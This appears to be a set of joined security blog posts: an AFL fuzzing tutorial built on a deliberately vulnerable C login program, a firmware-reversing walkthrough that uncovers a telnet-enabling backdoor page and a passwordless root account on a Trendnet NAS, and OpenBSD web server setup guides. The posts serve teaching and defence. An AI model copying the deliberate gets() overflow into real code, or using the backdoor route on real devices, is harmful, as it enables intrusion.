It’s quite impressive to look back in the past to the early days of software vulnerabilities and observe the ongoing dance between new mitigation and new exploitation techniques. Powerful fuzzing tools are now common place and operated on a daily basis by IT corporations and security labs; either to find crashes in their software or others’ program, seeking workable exploit out of it. New research is continuously presented to mitigate new procedures while multiple organizations develop new counter-mitigation tricks. In this post, we’ll overview the entire software exploitation process: from fuzzing with American Fuzzy Lop (AFL) to exploit development with gdb-peda and pwntools. For this purpose, we will develop a quick 64-bit program exhibiting a glaring buffer overflow vulnerability. We will then fuzz it to find that vulnerability, analyze the results and development an exploit for it. A video is also available.

The Vuln1 Vulnerable Program

While we could use a known vulnerable program online, we decide to craft our own quick C program so we can understand all its facets. The program below uses two characters buffers of 32 characters; one to hold the username and the other one to hold a password. To manage user input, we used the well-known insecure gets() function, which fails to check buffer boundaries and leads to buffer overflows.

Vulnerable C Program to Fuzz with AFL

C

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

#include <stdio.h>

#include <string.h>

intmain(void)

{

charlogin[32];

charpasswd[32];

printf("Login: \n");

gets(login);

printf("Password: \n");

gets(passwd);

if(strcmp(login,"root")==0){

if(strcmp(passwd,"1qazxsw2")==0){

printf("Access Granted.\n");

return0;

}

}

printf("Access Denied.\n");

return1;

}

Once executed, the program first asks for a username and a password. The inputs are stored in the login and passwd variables. Their value are then compared with the expected value using strcmp(). If the credentials entered are “root” and “1qazxsw2”, then a “Access Granted.” message is printed out to the console, otherwise “Access Denied.” is shown to the user and the program exits.

To simplify the exploitation process of this exercise, we will compile this program with absolutely no memory protection, i.e. NX will be disabled and no stack canary. NX is usually enabled to prevent code to be executed directly from the stack, which there is no need for other than exploitation purposes. As for stack canaries, they can detect stack overflows by adding an extra value to the software stack. If this value is not found when the function returns, an exception is thrown to prevent further execution. Nowadays, these protection schemes are enabled in a vast majority of cases, but we adopt simplicity rather than realism for this post. Disabling these protection mechanism can be achieved using the following GCC command:

Compiling Vuln1 without Stack Protection (Shell)

Shell

1

gcc-fno-stack-protector-zexecstack vuln1.c-ovuln1

The
-fno-stack-protector will disable the stack canaries while the
-zexecstack makes both the heap and stack executable. To verify that these options have not been included, we can use a nifty tool call checksec which is included with pwntools, which will will present later in this post. By executing
checksec vuln1 we confirm that both the stack canaries and NX bit are disabled:

With our target created, we are now ready to start fuzzing it to uncover the buffer overflow it contains.

Fuzzing with AFL

AFL is a popular open-source and free fuzzer that has been leveraged to discover vulnerabilities in a large set of applications and libraries. Before starting AFL, we need to instrumentalize our target using the afl-gcc compiler. The AFL compiler will add code around the source in order to maximize coverage. To compile the source code with AFL, use the same command used above to compile Vuln1 using afl-gcc rather than gcc or use the associated Makefile.

Compiling Vuln1 using AFL-GCC (Shell)

Shell

1

afl-gcc-fno-stack-protector-zexecstack vuln1.c-ovuln1

The resulting binary is the one that will be used with AFL, but when analyzing the crash later one, we will do it with the gcc compiled binary. Until then, let’s learn how to use AFL to assess the Vuln1 program.

A critical aspect of fuzzing is to craft meaningful test cases, e.g. inputs that will maximize code coverage by exploring all potential paths of the targeted program. The vuln1 program is simple and only has 3 paths:

Username is invalid;

Username is valid, but password in invalid;

Username and password are valid.

In order to reach these 3 paths, we will design our test cases appropriately by creating 3 files. The first file will have 2 lines, none of them containing the appropriate credentials, the second file will have the right username, but an invalid password and the third file will have both correct credentials. AFL will read the contents of each file and feed each line to the stdin of Vuln1. Create a directory called testcases and in it, create 3 files representing these cases. The name of the files does not matter.

test1.txt

test2.txt

test3.txt

a
a

root
a

root
1qazxsw2

After creating these 3 files, create another directory called results, which will contains the results of the fuzzing run. At this point you’re ready to start AFL using afl-fuzz, the actual fuzzing program. You can do so with the following command:

Start Fuzzing Vuln1 with AFL

Shell

1

afl-fuzz-i./testcases/-o./results/./vuln1

Where -t ./testcases specifies the directory containing the testcases, -o ./results specifies the output directory and ./vuln1 is that target program. If you run AFL for the first time, you’ll likely be greeted with the following warning:

AFL Warns that the core_pattern file must be changed.

Just follow the instruction given and you’ll get rid of this message. Simply a shell as root using
sudo bash and type the suggested command, i.e.

Modify Core_pattern File for AFL

Shell

1

echocore>/proc/sys/kernel/core_pattern

Retry to start AFL using the same command and you should have no issue this time. A screen will appear and present you with quite a few statistics. This AFL Readme file explains all of these fields very well, and should definitively be read and well understood. For now, let’s focus on the “Overall Results” section.

Results of Fuzzing the Vuln1 Program

Two rows of this section are particularly interesting in this example:

Total paths; and

Unique crashes.

Notice that after a few seconds, the total paths field is 3, which is what we expected based on the code of vuln1. As such, once we reached 3 paths, we can stop AFL by pressing Ctrl-C, as it will not find anything new. In the real world, we have no idea how many paths may be possible. As such AFL provides color codes to help you assess if it’s time to stop. Another field that can help is the last path found. When no new paths have been found after a while, AFL may have cover most of the code it can find and is unlikely to find anything new. Finally, the most interesting field is the unique crashes, which indicates that some of the inputs, stored in the results directory, have successfully crashed the program and should be investigated. We have 2 files in the results/crashes directory:

Results of afl-fuzz of Vuln1 (Shell)

Shell

1

2

id:000000,sig:11,src:000002,op:havoc,rep:128

id:000001,sig:11,src:000000,op:havoc,rep:128

Each file contains the input that crashed the program so you can reproduce the event and investigate to see if the crash is exploitable.

Example of Input which Crashed Vuln1

1

2

3

4

5

6

7

8

00000000746f6f7400008000f81a7faa aa aa8888|toot............|

0000001088888888888888888888888888888888|................|

000000200a464646464646464646464646464646|.FFFFFFFFFFFFFFF|

0000003046464646464646464646464646aa af21|FFFFFFFFFFFFF..!|

00000040aa6f6fff aa aa aa aa7faa aa aa aa aa ae aa|.oo.............|

00000050ab aa aa aa aa f300ff0f2260210aba020a|........."`!....|

000000603e1816f965210aba0213

|>...e!....|

We can confirm the crash and observe an segmentation fault by piping the contents of the crash to our vuln1 program:

The next step is to analyze the crash data and determine if it can be converted into an exploitable vulnerability. Spoiler alert: it can.

Conclusion

This short post is a simple introduction to AFL, a powerful fuzzer that can be leveraged on source code and binaries to find potential vulnerabilities. This step is usually the first step in exploit development. In the next post, we’ll use PEDA to analyze the results found here and determine it exploitability.

The Trendnet TS-S402 is a discontinued network storage enclosure that was sold to individuals for personal data storage. Like every Internet-of-Things (IoT) device, it runs on software programmed and/or configured by the manufacturer before shipping it to the end-user, i.e. the firmware. Firmware versions 2.00.10 and below of this particular device have a serious vulnerability allowing remote root access . This target thus provides an excellent exercise for reverse engineering while providing an example of a vulnerability that is unfortunately way too common in IoT: backdoors by design. In this post, we will introduce Binwalk and provide the background necessary to do the same on a large variety of firmware for consumer-level devices, using the TS-S402 as a practical example. A video of this post is also available.

The Trendnet TS-S402 Network Storage Enclosure (from trendnet.com)

The Trendnet TS-S402

Before reversing any device, it’s important to actually understand its functionalities, components and any other piece of information that may help along the analysis of its firmware. The webpage of the product highlights the following features:

Why are these facts important? Not all of the will be useful, but some may provide you with an overall idea of what to expects once you start analyzing the firmware file. In many cases, especially with consumer-level devices, reversing firmware is fairly straightforward and common open-source tools will do the heavy lifting for you. But if you move on to industrial firmware, awareness of the device is important as you will be faced with unheard operating systems, libraries and unknown file formats. In this case, we can expect to see a Linux-based Operating System (OS) hosting a HTTP and FTP server, along with Samba compatibility. The manufacturer is even generous enough to provide the underlying microprocessor, which can be helpful when conducting even deeper analysis for vulnerabilities in the binaries.

Reversing the Firmware

The vulnerability we are looking for is present only in versions 2.00.10 and below of the firmware, which you can download from the repository of the company. Unzip the archive and you’ll to obtain the following files:

TS-S402_FW_2_00_10.bin

readme.txt

release_TS-S402.txt

REMOTE_PACKAGE_2_20.bin

It’s always a good idea to read the release notes and README files. Doing so may save you time and headaches trying to figure things out. If you’re into bug hunting, the release notes can be useful to list the changes and patches included in this version, providing potential hints to patched vulnerabilities of previous versions.

The two “.bin” files contain the programs and OS of the device. In this case, based on the filename, the TS-S402_FW_2_00_10.bin is the main firmware file and thus, the focus of this post. The first step is always to check if we can determine the file type by using the file command. If we are lucky, it is a known file type and some application exists to extract the relevant files/information out of it.

Using the file command (Shell)

Shell

1

2

root@ReSyst:/targets/trendnet/ts-s402# file TS-S402_FW_2_00_10.bin

TS-S402_FW_2_00_10.bin:data

However we are not so lucky. The file command returns “data”, which means it found the file to be binary data without any specific structure or format. So we will need to use a more powerful tool: binwalk. Binwalk is very useful reverse engineering toolkit which can analyze and extract files from unknown binary files. However note that it can also return quite a few false positives. The only way to recognize them is with experience and trial-and-error. If not already done, install binwalk with apt using
sudo apt-getinstall binwalk and run the following command:

Analyzing the TS-S402 Firmware with Binwalk (Shell)

Shell

1

binwalk-xlzma TS-S402_FW_2_00_10.bin

The command above asks binwalk to check out the TS-S402_FW_2_00_10.bin file and try to find interesting files or structures inside it. We use the “-x lzma” argument to eXclude any findings about LZMA-compressed data: these are false positives in this case. You will obtain the following result:

In other words, there seems to be a 32-bytes header followed by a GZip-compressed file. At this point, we want to carve this gzip file out of the binary file for further investigation. You can use the dd command to do so, but binwalk provides the -e option to Extract files for you.

Extracting files from TS-S402_FW_2_00_10.bin

Shell

1

binwalk-exlzma TS-S402_FW_2_00_10.bin

The carved files will be outputted to a directory labelled _TS-S402_FW_2_00_10.bin.extracted, in which you will find a single file called 20, which is the offset of the file in the larger firmware. Using the file command again, we now get a more interesting result:

This time, the file command clearly recognized a TAR archive, meaning we can simply untar the file with the command below:

Untar archive from TS-S402_FW_2_00_10.bin

Shell

1

tar-xvf20

This archive contained even more files: a uImage and a filesystem:

uImage

rootfs.armeb.squashfs

The uImage is the boot loader of the firmware and you will often find this file or something similar in most Linux-based firmware. Analysis of the uImage will be left for another post. For now, we are interested in the filesystem contained in rootfs.armeb.squashfs, which as its name implies, is a SquashFS. To access the files it contains, we can normally use the unsquashfs tool, however in this case doing so won’t work:

Depending on how the file system was created and the development software used, it may have incompatibilities with the way unsquashfs expects the file system to be structured. As a workaround, we will use Sasquatch, which is more flexible when it comes to extracting file from non-standard Squash file systems. Clone the project and build the code by following the instructions n the README.md file, or you can download a pre-compiled binary for Ubuntu and variants. Now let’s try again carving out the files, but with Sasquatch this time by typing
./sasquatch rootfs.armeb.squashfs . After a while, Sasquatch will extract all files in the squashfs-root directory, at which point you can finally access the files hosted on the targeted device.

Files from the SquashFS of the TS-S402 (Shell)

Shell

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

drwxrwx---1root vboxsf4096Apr202009.

drwxrwx---1root vboxsf0Jan2111:34..

drwxrwx---1root vboxsf0Apr202009bin

drwxrwx---1root vboxsf0Apr202009config

drwxrwx---1root vboxsf0Apr202009dev

drwxrwx---1root vboxsf4096Apr202009etc

drwxrwx---1root vboxsf0Apr202009home

drwxrwx---1root vboxsf0Apr202009include

drwxrwx---1root vboxsf4096Apr202009lib

drwxrwx---1root vboxsf0Apr202009mnt

drwxrwx---1root vboxsf0Apr202009newroot

drwxrwx---1root vboxsf0Apr202009opt

drwxrwx---1root vboxsf0Apr202009proc

drwxrwx---1root vboxsf0Apr202009root

drwxrwx---1root vboxsf0Apr202009sbin

drwxrwx---1root vboxsf0Apr202009tmp

drwxrwx---1root vboxsf0Apr202009usr

drwxrwx---1root vboxsf0Apr202009var

Find the Backdoor

There is a fairly obvious backdoor hidden in the file system. Go ahead and explore the files and configuration and see if you can find it. When you are ready read on.

Most commercial devices are accessible remotely via a web interface. The web server and its contents are therefore a good starting point to hunt down potential vulnerabilities. On the TS-S402, the web application is located in the /home/httpd directory. The partial listing of the contents of this directory is included below:

Partial Listing of /home/httpd in the TS-S402

Shell

1

2

3

4

5

6

7

8

9

10

11

drwxrwx---1root vboxsf4096Apr202009.

drwxrwx---1root vboxsf0Apr202009..

-rwxrwx---1root vboxsf1462Apr202009arrow-down-title.gif

-rwxrwx---1root vboxsf1499Apr202009arrow-down-title-on.gif

-rwxrwx---1root vboxsf1452Apr202009arrow-up-title.gif

-rwxrwx---1root vboxsf1441Apr202009arrow-up-title-on.gif

-rwxrwx---1root vboxsf784Apr202009backdoor.shtml

-rwxrwx---1root vboxsf489Apr202009BTdata.shtml

drwxrwx---1root vboxsf0Apr202009cgi-bin

-rwxrwx---1root vboxsf12831Apr202009CheckFunc.js

...

As you can see, one of the web page is named “backdoor.html”; quite an obvious indicator that something is wrong. If you look at the webpage, you’ll notice that it seems to enable the telnetd daemon, thus allowing Telnet connections to the device. Unless specially configured to be blocked in the network firewall, this web page should be accessible to anyone on the network, potentially anyone if facing the Web. All that is missing right now is credentials to access the device. Let’s look at /etc/shadow to see if we can potentially figure out the default password for the root account:

Shadow file for the TS-S402

Shell

1

2

3

4

5

6

7

8

9

10

11

12

root::10933:0:99999:7:::

bin:*:10933:0:99999:7:::

daemon:*:10933:0:99999:7:::

adm:*:10933:0:99999:7:::

lp:*:10933:0:99999:7:::

sync:*:10933:0:99999:7:::

shutdown:*:10933:0:99999:7:::

halt:*:10933:0:99999:7:::

uucp:*:10933:0:99999:7:::

operator:*:10933:0:99999:7:::

nobody:*:10933:0:99999:7:::

default::10933:0:99999:7:::

Well, there isn’t any password setup for the root account. So in other words, anyone who can access the backdoor.html page on the device can enabled remote Telnet connections, and then login as root. While I haven’t tested it as I do not own this device. this vulnerability was previously confirmed and reported.

Conclusion

This post provided an example of reversing the firmware of a consumer-level IT appliance to locate vulnerabilities allowing remote access to the device. Such vulnerabilities may seem trivial an unimportant until a botnet such as the Mirai botnet comes along and use tens of thousands of these vulnerable devices – which are rarely updated – to DDoS websites across the web. Hence the need to understand the techniques and skills require to pwn these devices in order to defend them.

Feng Office is a Web project management application. It allows management of projects, tasks, documents and enables online collaboration with co-workers and other organizations. It can provide a multitude of business services including billing and scheduling among others. In the previous posts, we installed OpenBSD 6.0, setup our web server and then deployed WordPress on it. In this post, we continue to develop our web server by installing Feng Office.

Setting Up OpenBSD 6.0

Feng requires php-gd package for image processing. This package has dependencies on the xbase60.tgz OpenBSD package. If you did not install this set during the OpenBSD installation, you can do it now using these commands:

Install the xbase60.tgz Package on OpenBSD 6.0 (Shell)

1

2

# ftp http://openbsd.cs.toronto.edu/pub/OpenBSD/6.0/amd64/xbase60.tgz

# tar -C / -xzphf xbase60.tgz

If you don’t have access to the Internet, you can simply use the archive from the OpenBSD 6.0 CD and unpack its contents using the command at the second line in the code listing above.

We can now proceed with installing the php-gd package. This can be done using the pkg_add application. When asked which version of the package you wish to download, select the same version as your current PHP installation. In this case, PHP 5.6.23 is installed. If you are unsure about yours, type
/usr/local/bin/php-5.6--version to retrieve it.

Unlike Linux distributions, pkg_add does not automatically modify the required configuration files. As such, you need to manually modify the PHP configuration file to load the php-gd extension. Edit the php-5.6.ini with
vi/etc/php-5.6.ini file and add the following line in the extension section:

Enabling the GD Package in the PHP Configure (Shell)

Shell

1

extension=gd.so

Since we modified the configuration file, we will need to restart the PHP service:

Restart the PHP Service (Shell)

Shell

1

/etc/rc.d/php-5.6_fpmrestart

Now that we have setup OpenBSD to be compatible with Feng, we will configure the database and then move on to the actual install of the web application.

Setting Up the Database

In the previous posts, we installed MariaDB and set it up for a WordPress site. The same exact steps apply for the Feng Office application. Login into the MariaDB database with
mysql-uroot-p and follow these steps:

Create a database schema for the Feng Office application:

Create a User for the Feng Office Application (SQL)

MySQL

1

CREATEDATABASE db_feng;

Then create a user for the application and select a strong password for it unlike the example below:

Create a User for the Feng Web Application in MySQL (SQL)

MySQL

1

CREATE USER'fg_user'@'127.0.0.1'IDENTIFIED BY'p1234';

Afterwards, grant your new user the privileges require to modify your database. In this case, we allow the user all privileges on the db_feng database:

Assign Permissions to the Feng User (SQL)

MySQL

1

2

GRANTALLPRIVILEGESONdb_feng.*TO'fg_user'@'127.0.0.1';

FLUSHPRIVILEGES;

And then exit MariaDB by typing
quit . We are now ready to install the Feng Office application.

Installing Feng Office

You’ll first need to download the application from the Web using the ftp program. You’ll also need to install unzip since Feng Office uses a zip package. If you want to avoid installing the unzip package, you can always download Feng on another workstation, unzip it and repack it using tar. Then upload it to a third party location and re-download it using ftp. Otherwise install unzip with
pkg_add unzip and then download Feng with ftp:

As we did in previous tutorial, we confirmed the integrity of the package. The MD5 hash is provided on the SourceForge website by clicking the “i” icon. We will now unzip Feng into its own directory on our web server:

Unpack Feng Office on the Web Server (Shell)

Shell

1

2

# mkdir /var/www/htdocs/feng

# unzip fengoffice_3.4.4.1.zip -d /var/www/htdocs/feng

Feng Office has quite a few files and after a few seconds, all files should be extracted. In order to run the installer, we first need to set specific permissions on some directories. As such, we’ll make sure the following directories are readable, writable and executable and change their ownership to the web server:

Modifying Permissions and Ownership on Feng Directories (Shell)

Shell

1

2

3

4

5

6

7

8

# chmod 775 /var/www/htdocs/feng/config

# chmod 775 /var/www/htdocs/feng/tmp

# chmod 775 /var/www/htdocs/feng/cache

# chmod 775 /var/www/htdocs/feng/upload

# chown www:www /var/www/htdocs/feng/config

# chown www:www /var/www/htdocs/feng/tmp

# chown www:www /var/www/htdocs/feng/cache

# chown www:www /var/www/htdocs/feng/upload

With this done, browse to your Feng Office home page from a remote workstation. You will be greeted by a welcome page which details the installation procedure. Click Next.

The welcome page of the Feng Office 3.4.4.1 installer

The second page of the installer verifies if all requirements for the application are met. If there is an item highlighted in red, then you will not be able to proceed. The most likely issues are limited file permissions and missing PHP extensions. If everything is green, click Next.

Feng Office verifies if all requirements are met to install and use the application.

The third step is where you provide the information about the database. Fill in the required information with the specific values for your database setup. An example of valid values for our example are:

Database Type: MySQL

Hostname: 127.0.0.1

Username: fg_user

Password: p1234

Database Name: db_feng

You can leave the remaining settings to their default values and once satisfied, click Next again. You then reach the last page of the installer, which You’ll reach the installation page and you should get a Succcess! message Click on Finish.

Administrator account form for Feng Office 3.4.4.1

After clicking Finish, you’ll be immediately redirect to the user account creation form. This is the final step before using the application is to create an Administrator account. Fill in the form and click Submit. You will be redirected to the login page. Login and that’s it! Next steps include configuring your new Feng Office application by creating users and customizing it. You should also remove write permission to the /var/www/htdocs/feng/config and change the ownership back to root:daemon.

Conclusion

Feng Office is widely used by multiple large public and private organizations and thus, is a fairly popular web application which like many others, fits perfectly with an OpenBSD 6.0 server. Like in the WordPress install, you should attempt to plug information leaks by removing README and CHANGELOG files and test your application via a rigorous penetration test. With a well-configured OpenBSD server and secure database, the likelihood a a major breach occurring is greatly reduced, but it always depends on how well or badly it’s configured and used.

Introduction

In the previous posts, we setup a minimal but secure web server using OpenBSD 6.0. In this post, we start from a fresh install with httpd, MariaDB and PHP 5.6.23 setup on the host. In most cases, you may now want to install a web application on it. One of the most popular is WordPress. If you have followed all the steps in the previous tutorial, installing WordPress will be fairly easy. However, because the web server is sand boxed in OpenBSD, many issues can arise. Additionally, introduction of new application may also introduce new security concerns. In this tutorial, we go through the basics of setting the database and configuring the application. We’ll also assume that you have the networking aspect configured and working. You can also consult the accompanying video.

Setting Up WordPress 4.7 on OpenBSD 6.0

To install WordPress on OpenBSD 6.0 using the native httpd web server requires quite a few steps, but most are straightforward and requires only some Linux command shell knowledge. It’s a good idea to be well-versed in the Bash scripting language and basic Linux/OpenBSD knowledge. In any case, following the steps below will get you going with your new WordPress blog in no time.

This will untar all files into /var/www/htdocs/wordpress. Feel free to rename the wordpress directory to anything you’d like.

Configuring the Database

In previous post, we installed MariaDB and thus this section will assume you have installed this database application. Otherwise, refer to the documentation of your database to use the proper SQL statements to create databases, users and manage permissions.

Log into the MariaDB database using
mysql-uroot-pyour_password . If you are logging from a remote location, use the
-hhost argument. Once logged in, we will conduct 3 steps:

Create a database for the WordPress application:

Create a Database for Wordpress (SQL)

MySQL

1

CREATEDATABASEdb_wordpress;

Create a user for WordPress to use in order to connect to the database by using the following SQL statement:

Create a MariaDB User for Wordpress (SQL)

MySQL

1

CREATE USER'wp_user'@'127.0.0.1'IDENTIFIED BY'user_password';

Grant permissions to the new user in order to edit the database and tables as required:

Grant Privileges to Wordpress User (SQL)

MySQL

1

2

GRANTALLPRIVILEGESONdb_wordpress.*TO'wp_user'@'127.0.0.1';

FLUSHPRIVILEGES;

Now, the WordPress application has a place to store data on our database. Before we proceed thought, I encourage you to look at the ~/.mysql_history for a glimpse of what happened while you were doing the steps above. As you will see, the password for the user has been logged into this file. Remove this file with
rm~/.mysql_history and let’s disable logging to prevent such leaks by adding this line in your rc.conf.local file:

Reset MYSQL_HISTFILE in OpenBSD 6 (Shell)

Shell

1

export MYSQL_HISTFILE=/dev/null

Installing WordPress

From a remote host, use your favorite browser and go to https://<your_address>/wordpress/ and the installer should popup automatically. The first step is create the configuration file by filling information about the database. So gather the following information, which we have from the previous section and click “Let’s Go“:

Database name: Database name use with the “CREATE DATABASE” SQL statement, i.e. “db_wordpress“

Database host; Enter 127.0.0.1 or ::1. Do not leave it as “localhost” as we want to use the sockets;

Table prefix; Prefix for each table created. Unless you plan to have multiple WordPress sites, leave the default value.

The WordPress Installer will guide you step-by-step on setting it up.

On the next page, enter the required data and click “Submit“. If every thing is setup right, you will be prompted to continue with the setup of the site. However, you may also get a blank “step2” page, i.e. the URL will be “setup-config.php?step=2” but nothing will show up. This problem can be caused by many different things. First, make sure you have setup PHP to use your MySQL database by enabling the proper extensions in the php-5.6.ini configuration file. See previous post for an explanation on how to do this.

Next issue you may encounter is a warning that WordPress cannot create the wp-config.php file. This is mostly due to permissions issues with /var/www/htdocs/wordpress/. The best option is to manually create the file by copy-pasting its contents. Another alternative is to temporarily change the permissions of the directory to allow write permissions with
chmod777/var/www/htdocs/wordpress for the installer to create the file. Doing so allows anyone to write and execute code to your directory and as such, it must be change immediately after you are finished installing and configuring WordPress.

WordPress warns that it could not create the wp-config.file.

Quick Hardening

Before calling “Mission Accomplished”, take some time to test your new site and set the proper file permissions. Create a test post and try to upload an image to it. You may find that it fails, again because of permission issues. According to [1], you should have the following permissions for your WordPress install:

Folder set to 755;and

Files set to 644, except wp-config.php should be 440 or 400

This can be done with the following commands;

Setting File Permissions for Wordpress (Shell)

1

2

3

find/var/www/htdocs/wordpress-typed-execchmod755{}\;

find/var/www/htdocs/wordpress-typef-execchmod644{}\;

chmod400/var/www/htdocs/wordpress/wp-config.php

Furthermore, note the following quote from [1]:

No directories should ever be given 777, even upload directories. Since the php process is running as the owner of the files, it gets the owners permissions and can write to even a 755 directory.

Meaning that you should avoid the temptation to solve your uploads issues, or any other issues by setting full permissions, even the upload folder. Based on [2], all files outside the wp-content directory should be owned by your OpenBSD user account so they cannot be modified. The owner of the wp-content will be set to www and will be writable, allowing uploads of files themes and plugins. Note that once you chose your theme and plugins, you could further harden your blog by restricting the wp-content/themes and wp-content/plugins directories as some attackers hide web shells in those.

Create an Uploads Directory for Wordpress (Shell)

Shell

1

2

3

chownghost:ghost-R/var/www/htdocs/wordpress/*

chownwww:www/var/www/htdocs/wordpress/wp-content/

chmod500/var/www/htdocs/wordpress/wp-content/themes/

Retest to make sure it works.

Setting the minimal and proper permissions on the Uploads directory is critical.

One last quick thing you may want to do is delete unneeded installation files. WordPress should have remove them for you, but just double check. You can also remove the readme.html and any release notes that may be present, this way, it will be harder for an attacker to find the version of your WordPress installation.

Conclusion

WordPress becomes insecure when adding plugins, which introduces the majority of new vulnerabilities. As such, attempt to avoid unnecessary plugins and themes and uninstall them once they are unneeded. Also enable auto-updates. There are quite further actions you can take to harden your WordPress install, and I’d recommend reading the reference at [1]. You can also review the database permissions you have granted to the “wp_user” in MariaDB, and possibly restrict them to simply INSERT/UPDATE/SELECT/DELETE instructions. Then test your installation with wp-scan, a great, free and open-source WordPress vulnerability assessment.

Introduction

In this tutorial, we setting up a web server on OpenBSD 6.0 using the native httpd web server, MariabDB and PHP. There can be quite a few issues popping up unlike other systems, mostly due to the fact that the web server is “chroot jailed” during execution. In other words, the web server is sandboxed and cannot access other parts of the operating system, which requires more work than other similar setups on other distributions. However, this greatly decreases the damages if your server gets whacked. In this post, we setup a minimal web server that will allow you to host simple web content. I’ll assume you have an OpenBSD 6.0 VM created with root access to it. From there, we will stand up our web server with HTTPS, install MariaDB and PHP. Please note that this tutorial is not meant for professional/commercial settings, but for personal and educational uses. A video version of this tutorial is also available.

Standing up a Minimal Web Server with Httpd

The strategy we will employ is to create a very minimal web server, test if it works as intended, and then enable additional features as we go along. So first, we’ll start by enabling the httpd daemon. To do so, first copy the httpd.conf file from /etc/examples/httpd.conf to /etc/ by typing
cp/etc/examples/httpd.conf/etc . Open the copied file as root using vi or another text editing tool if you have any install. In the file, you will delete all the examples provided and only keep the “minimal web server” and “types” sections:

Basic Httpd.conf File for OpenBSD Web Server

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

# $OpenBSD: httpd.conf,v 1.14 2015/02/04 08:39:35 florian Exp $

#

# Macros

#

ext_addr="*"

#

# Global Options

#

# prefork 3

#

# Servers

#

# A minimal default server

server"default"{

listen on$ext_addr port80

}

# Include MIME types instead of the built-in ones

types{

include"/usr/share/misc/mime.types"

}

Make sure you save your changes and now start your web server with the following command:
/etc/rc.d/httpd-fstart . Make sure you include the
-f , other you may get an error message. We will fix this later. If everything goes well, you should get an “httpd(ok)” message. Otherwise, there is likely an error in your configuration file. You can confirm by using
httpd-n .

Let’s confirm everything works so far. Retrieve your IP address using
ifconfig em0 and using another host on your network, browse to http://<your_ip>. If everything works as expected, you will see something similar to the figure below:

Receiving a 403 Forbidden error from the OpenBSD web server.

We received a 403 error because we do not have any web pages created yet and by default, httpd prevents directory listing – which is a good thing. So let’s create a quick index.html web page. Use the following command
vi/var/www/htdocs/index.html and type the following:

Quikck HTML page to Test a Web Server (HTML)

XHTML

1

2

3

4

5

<html>

<body>

Hello World!

</body>

</html>

Save the file and point your browser to http://<your_ip>/index.html. You should see your web page. If not, make sure you created the file in /var/www/htdocs and you haven’t made a typo in your URL. Also note that if you go to http://<your_ip>/, you will also end up on your web page. By default httpd looks for “index.html” and serves this web page when none is specified.

Fantastic. We got ourselves a web server. But not a very secure or useful one unless you want to host Geocities-like webpages. Next, we will enable HTTPS on our web server and redirect all traffic to it. We’ll need to do this in 2 steps:

Create a certificate for your web server; and

Setup httpd to use your certificate and HTTPS

First, we’ll need to generate a SSL private key. This is straightforward by using openssl:

General a Private Key using OpenSSL (Shell)

Shell

1

openssl genrsa-out/etc/ssl/private/server.key

The server.key file is your private key and must be secured! It’s very important that nobody else other than you have access to it. Next, we will use this key to generate a self-signed certificate. This is also done by using openssl:

The command above basically requests OpenSSL to generate a certificate (server.crt) using our private key (server.key) that will be valid for 365 days. Afterwards, you will be asked a couple of questions to craft the certificate. Since this is self-signed, feel free to enter anything. Once done, the first step is completed. Next, we will modify our configuration file again and update out minimal web server to tell it to use HTTPS:

Enabled HTTPS in httpd.conf (Default)

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

# $OpenBSD: httpd.conf,v 1.14 2015/02/04 08:39:35 florian Exp $

#

# Macros

#

ext_addr="*"

#

# Global Options

#

# prefork 3

#

# Servers

#

# A minimal default server

server"default"{

listenon$ext_addrport80

listenon$ext_addrtlsport443

tls{

key"/etc/ssl/private/server.key"

certificate"/etc/ssl/server.crt"

}

}

# Include MIME types instead of the built-in ones

types{

include"/usr/share/misc/mime.types"

}

Every time your modify the httpd.conf file, you will need to restart your web server for the changes to take effect. Use
/etc/rc.d/httpd-frestart do so and test your website again, this time using https://<your_ip>. You should be greeted with a warning message fro your browser, warning you that it cannot validate the certificate. That’s because it is self-signed. Click on “Advanced” and add it to the exceptions. Afterwards, you will be serve our web page via an encrypted link.

Receiving a warning from the browser on self-signed certificate.

So at this point, we have a functioning web server over HTTPS. However, unencrypted communications are still enabled. We would like to have ALL users over HTTPS. This can be done by replacing this line in httpd.conf:

Anyone using http://<your_site> will be automatically redirected to https://<your_site>.

Setting Up MariaDB

Installing the database is quite simple in contrast with many other activities we need to do. First, we’ll need to download some packages, so make sure you have the PKG_PATH environment defined with a mirror containing the packages you need. If not, select a mirror on openbsd.org and define your variable:

Once completed, install the database using the included script by typing
mysql_install_db and when completed, start the mysqld daemon:
/etc/rc.d/mysqld-fstart . The last step is to configure it by running the
mysql_secure_installation . The script will ask you a couple of questions:

First, it will ask you to set a password for root. Choose a good password. Long simple passwords can be more efficient than short complex one that you won’t remember;

It will then ask if it should remove anonymous users. Select “Y” to remove them;

When asked if it should disallow remote root access, answer by the positive to prevent root access from remote hosts;

Choose to remove all test databases; and

Press “Y” to reload all privileges in the database application.

You are now done with installing the database. Before moving on to the next section, confirm that everything is working by login into MariaDB:

Log into MariaDB with Root Account (Shell)

Shell

1

mysql-uroot-p<root_password>

If everything went fine, you will be given access to the database engine. Type
quit; to exit the application.

Setting Up PHP

The last step of this tutorial involve downloading and install PHP. Very few webpages nowadays rely solely on static HTML, and I suspect most will want to install web applications later on, so let’s setup PHP. First, download some of the required packages. Note that additional packages may be needed depending on the web applications you wish to install later on, but for now, let’s setup the core PHP packages:

Installing Core PHP Packages on OpenBSD (Shell)

Shell

1

pkg_add php php-gd php-mysql php-mysqli

There are several versions of PHP available on the OpenBSD repository. What is important is that you select the same version for all packages you install. For example, at the time of writing version 5.6.23 and 7.0.8 were available, but php-mysql 7.0.8 was not, thus we select 5.6.23 for all PHP packages to prevent issues later one. Dismiss any packages ending with “-ap2” as these are for the Apache web server. For the purpose of this tutorial, we will select version 5.6.23 every time we are asked.

Before starting up PHP, we have a couple of things to do. First, we need to tell httpd to send PHP pages to the PHP processor. We also need to specify the PHP processor that we have a database it needs to be aware of. So let’s start by modifying our httpd.conf file again by adding a section about .php files. Also, we’ll add a “directory” section to tell the web server to look for “index.php” files first instead of “index.html“:

Next, let’s modify the PHP configuration file to enable MySQL. We do so by adding extensions to the /etc/php5.6.ini file. Open this file as root and add the following lines under the “Dynamic Extensions” section:

Enabling MySQL Extensions in PHP (Default)

1

2

extension=mysql.so

extension=mysqli.so

Since we modified configuration files, we’ll need to restart the httpd and php-fpm daemons. Do so with
